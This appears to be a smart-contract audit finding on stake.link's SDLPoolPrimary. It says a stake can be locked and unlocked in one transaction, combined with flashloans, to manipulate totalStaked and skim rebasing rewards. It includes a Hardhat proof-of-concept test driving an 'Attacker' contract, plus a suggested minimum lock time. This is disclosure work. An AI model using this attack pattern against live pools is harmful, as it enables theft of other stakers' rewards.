Can lock Fund for 1 sec and unlock in same transaction to gain profit
Can lock Fund for 1 sec and unlock in same transaction to gain profit even if it's small amount yet there's no flashloan protection so malicious user can flashloan big amount and sandwich the rebasing upkeep to take advantage of the pool with dividing leads to zero problem to gain profit from pool.This way totalstaked amount can be manupilated. Checkupkeep and performUkeep completely user accessible so totalstake amount can change for the favor of malicious user\\n\\n```\\nnpx hardhat test --network hardhat --grep 'usage of Attack contract and receiving NFT'\\n```\\n\\n```\\n import { Signer } from 'ethers'\\nimport { assert, expect } from 'chai'\\nimport {\\n  toEther,\\n  deploy,\\n  getAccounts,\\n  setupToken,\\n  fromEther,\\n  deployUpgradeable,\\n} from '../../utils/helpers'\\nimport {\\n  ERC677,\\n  LinearBoostController,\\n  RewardsPool,\\n  SDLPoolPrimary,\\n  StakingAllowance,\\n  Attacker\\n} from '../../../typechain-types'\\nimport { ethers } from 'hardhat'\\nimport { time } from '@nomicfoundation/hardhat-network-helpers'\\n//1 day in seconds// rest of code\\nconst DAY = 86400\\n\\n// parsing Lock struct in contracts// rest of code\\nconst parseLocks = (locks: any) =>\\n  locks.map((l: any) => ({\\n    amount: fromEther(l.amount),\\n    //show 4 digits after decimal// rest of code\\n    boostAmount: Number(fromEther(l.boostAmount).toFixed(10)),\\n    startTime: l.startTime.toNumber(),\\n    duration: l.duration.toNumber(),\\n    expiry: l.expiry.toNumber(),\\n  }))\\n\\n  const parseData=(data:any)=>({\\n    operator:data.operator,\\n    from:data.from,\\n    tokenId:data.tokenId,\\n    data: Buffer.from(data.data.slice(2), 'hex').toString('utf8')\\n  })\\n\\ndescribe('SDLPoolPrimary', () => {\\n  let sdlToken: StakingAllowance\\n  let rewardToken: ERC677\\n  let rewardsPool: RewardsPool\\n  let boostController: LinearBoostController\\n  let sdlPool: SDLPoolPrimary\\n  let signers: Signer[]\\n  let accounts: string[]\\n  let attacker:Attacker\\n  before(async () => {\\n    ;({ signers, accounts } = await getAccounts())\\n  })\\n\\n  beforeEach(async () => {\\n    sdlToken = (await deploy('StakingAllowance', ['stake.link', 'SDL'])) as StakingAllowance\\n    rewardToken = (await deploy('ERC677', ['Chainlink', 'LINK', 1000000000])) as ERC677\\n\\n    await sdlToken.mint(accounts[0], toEther(1000000))\\n    await setupToken(sdlToken, accounts)\\n\\n    boostController = (await deploy('LinearBoostController', [\\n      4 * 365 * DAY,\\n      4,\\n    ])) as LinearBoostController\\n\\n    sdlPool = (await deployUpgradeable('SDLPoolPrimary', [\\n      'Reward Escrowed SDL',\\n      'reSDL',\\n      sdlToken.address,\\n      boostController.address,\\n    ])) as SDLPoolPrimary\\n\\n    rewardsPool = (await deploy('RewardsPool', [\\n      sdlPool.address,\\n      rewardToken.address,\\n    ])) as RewardsPool\\n\\n    await sdlPool.addToken(rewardToken.address, rewardsPool.address)\\n    await sdlPool.setCCIPController(accounts[0])\\n    //attack contract deployment -- setting bridge contract to same we wont need ccip here\\n    attacker=await deploy("Attacker",[sdlPool.address,sdlPool.address,sdlToken.address]) as Attacker\\n    await sdlToken.transfer(attacker.address,toEther(20000))\\n    const sender = signers[0] // or choose any unlocked account\\n    const valueToSend = ethers.utils.parseEther("100") // Amount of Ether to send\\n    const tx = await sender.sendTransaction({\\n      to: attacker.address,\\n      value: valueToSend,\\n    });\\n  \\n    await tx.wait();\\n    console.log("Funded contract!");\\n  })\\n  it('should be able to lock an existing stake', async () => {\\n    //with flashloan this may prove fatal// rest of code\\n    await sdlToken.transferAndCall(\\n      sdlPool.address,\\n      toEther(10000),\\n      ethers.utils.defaultAbiCoder.encode(['uint256', 'uint64'], [0, 0])\\n    )\\n    await sdlPool.extendLockDuration(1, 365 * DAY)\\n    let ts = (await ethers.provider.getBlock(await ethers.provider.getBlockNumber())).timestamp\\n\\n    assert.equal(fromEther(await sdlPool.totalEffectiveBalance()), 200)\\n    assert.equal(fromEther(await sdlPool.totalStaked()), 200)\\n    assert.equal(fromEther(await sdlPool.effectiveBalanceOf(accounts[0])), 200)\\n    assert.equal(fromEther(await sdlPool.staked(accounts[0])), 200)\\n    assert.deepEqual(parseLocks(await sdlPool.getLocks([1])), [\\n      { amount: 100, boostAmount: 100, startTime: ts, duration: 365 * DAY, expiry: 0 },\\n    ])\\n\\n    // Move one block forward\\n  //await ethers.provider.send('evm_mine', []);\\n  //console.log("Parsed lock :",parseLocks(await sdlPool.getLocks([1])))\\n  })\\n  //@audit NFT onERC721receiver doesnt work it seems..\\n  it('usage of Attack contract and receiving NFT', async () => {\\n  console.log("Block-number before tx:",await ethers.provider.getBlockNumber())\\n  let ts = (await ethers.provider.getBlock(await ethers.provider.getBlockNumber())).timestamp\\n          // Move one block forward\\n  await ethers.provider.send('evm_mine', [ts+1]);\\n  console.log("SDLToken  balance Before:",await sdlToken.balanceOf(attacker.address))\\n  await attacker.attackTransfernCall()\\n  console.log("Lock",parseLocks(await sdlPool.getLocks([1])))\\n  console.log("Block-number after tx:",await ethers.provider.getBlockNumber())\\n  console.log("Nft received ??:",await attacker.received());\\n//boostAmount: 0.0006341958 20_000 -> with flashloan\\n//boostAmount: 0.000006342  200  \\n  })\\n})\\n```\\n
Setting lower-limit of locking time to stop bypassing 1 transaction lock-unlock-withdraw .This way it might stop the flashloan attacks too. Preferable minimum 1 day.
Loss of pool reward gained by rebasing.
```\\nnpx hardhat test --network hardhat --grep 'usage of Attack contract and receiving NFT'\\n```\\n